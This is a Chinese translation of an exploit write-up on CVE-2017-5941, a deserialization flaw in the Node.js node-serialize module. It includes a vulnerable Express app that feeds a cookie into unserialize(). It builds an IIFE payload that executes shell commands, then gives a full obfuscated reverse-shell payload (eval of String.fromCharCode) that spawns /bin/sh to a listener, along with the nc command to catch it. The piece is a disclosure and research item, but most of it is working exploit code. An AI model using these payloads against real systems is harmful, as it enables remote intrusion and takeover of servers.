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【漏洞分析】利用Node.js反序列化的漏洞执行远程代码(含演示视频)

漏洞介绍


漏洞名称:Exploiting Node.js deserialization bug for Remote Code Execution

漏洞CVE id:CVE-2017-5941

漏洞类型:代码执行

漏洞简介:

不可信的数据传入了unserialize()函数,这导致我们可以通过传递带有立即调用函数表达式(IIFE)的JavaScript对象来实现任意代码执行。


漏洞详情


在Node.js代码审查期间,我碰巧看到了一个序列化/反序列化模块命名为node-serialize。cookie的值来自请求然后被传递到模块提供的unserialize()函数。下面是一个示例的node.js应用程序:

var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
app.get('/', function(req, res){
    if (req.cookies.profile) {
        var str = new Buffer(req.cookies.profile,'base64').toStrin();
        var obj = serialize.unserialize(str);
    if (obj.username){
    res.send("Hello " + escape(obj.username));
    }
}else{
res.cookie('profile',"eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5Ijo
iYmFuZ2Fsb3JlIn0=",{ maxAge: 900000, httpOnly: true});
}
res.send("Hello World");
});
app.listen(3000);

Java,PHP,Ruby和Python也有着大量的反序列化问题

Understanding PHP Object Injection

Java Deserialization Cheat Sheet

Rails Remote Code Execution Vulnerability Explained

Arbitrary code execution with Python pickles

但是我找不到任何解释反序列化/对象的资源来解释Node.js中的注入BUG。


Building the Payload


我使用node-serialize version 0.0.4进行研究,为了成功利用当不可信数据传递到unserialize()函数时,执行任意代码。创建Payload的最好方法就是使用同一模块的serialize()函数。

我创建了以下JavaScript对象并将其传递给serialize()函数。

var y = {
rce : function(){
require('child_process').exec('ls /', function(error,
stdout, stderr) { console.log(stdout) });
},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

输出如下:

http://p2.qhimg.com/t0122b10cb01bb95bcf.png

现在我们有一个序列化的字符串,可以通过unserialize()函数进行反序列化,但问题是代码执行不会发生,直到你触发对应于对象的rce属性的函数。后来我想出,我们可以使用JavaScript的立即调用函数表达式(IIFE)来调用该函数。如果我们在函数体之后使用括号(),当对象被创建时,函数将被调用。 它的工作方式类似于C ++中的类构造函数。

代码:

var y = {
rce : function(){
require('child_process').exec('ls /', function(error,
stdout, stderr) { console.log(stdout) });
}(),
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

获得以下输出

http://p3.qhimg.com/t011d7104da7d15cd12.png

IIFE工作正常,但序列化失败。所以我试图在以前序列化的字符串的函数体后添加括号()。并将其传递给unserialize()函数,幸运的它成功了。所以我们有Exploit Payload:

{"rce":"_$$ND_FUNC$$_function (){\n \t
require('child_process').exec('ls /', function(error, stdout, stderr) {
console.log(stdout) });\n }()"}

将它传递给unserialize()函数将导致代码执行。

var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function
(){require(\'child_process\').exec(\'ls /\',
function(error, stdout, stderr) { console.log(stdout)
});}()"}';
serialize.unserialize(payload);

演示:

http://p3.qhimg.com/t01dd75680836da78aa.png

现在我们知道我们可以利用node-serialize模块中的unserialize()函数。现在让我们来利用漏洞生成一个反向shell。


Further Exploitation


Web应用程序中的漏洞是它从HTTP请求中读取名为profile的cookie,对cookie值执行base64解码,并将其传递给unserialize()函数。由于cookie是不受信任的输入,攻击者可以制作恶意Cookie值以利用此漏洞。

我使用nodejsshell.py生成反向shell有效负载。

$ python nodejsshell.py 127.0.0.1 1337
[+] LHOST = 127.0.0.1
[+] LPORT = 1337
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,10
5,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,3
2,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,11
5,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,
49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,4
8,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103
,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,6
1,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,11
0,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,3
2,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,1
14,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,3
2,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,8
4,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32
,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,3
2,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,
83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,3
2,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,1
04,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114
,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,
32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,11
6,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,11
6,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,1
15,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,
41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,1
02,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,12
3,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68
,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,3
2,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,
46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,
101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,
40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,3
2,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

现在让我们生成序列化的有效内容,并在函数体后添加括号()。

{"rce":"_$$ND_FUNC$$_function (){
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101
,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,1
12,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,1
08,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,1
0,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,3
4,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,1
05,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112
,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,
61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,
116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,
110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105
,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,1
10,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,
125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82
,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,6
1,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,3
2,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,7
9,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,3
2,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,11
2,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,
32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,
67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32
,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,
116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,10
0,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,3
2,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,1
12,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,
104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111
,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32
,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,
115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,3
2,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,
105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117
,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,11
5,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,
84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,
10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

我们需要执行相同的Base64编码,然后使用Cookie头中的编码Payload向Web服务器发出请求。

http://p8.qhimg.com/t01d02cf2973f409353.png

现在我们可以使用nc监听一下本地的一个端口:

nc -l 127.0.0.1 1337

演示:

http://p6.qhimg.com/t010483489e877e7a9f.png

成功利用,反弹一个shell。


演示视频


总结


我们利用了一个反序列化的bug实现了任意代码执行,经验告诉我们,永远不要相信用户的输入。这个漏洞产生的根本原因在于内部使用了eval()反序列化,我在另一个名为serialize-to-js的模块中也发现了一个类似的错误。在该模块中,Node.js中的require()函数在没有IIFE的对象的反序列化期间没有范围,并且它们在内部使用新的函数用于反序列化。我们仍然可以使用稍微复杂的有效载荷来实现代码执行。


原文链接:https://www.exploit-db.com/docs/41289.pdf

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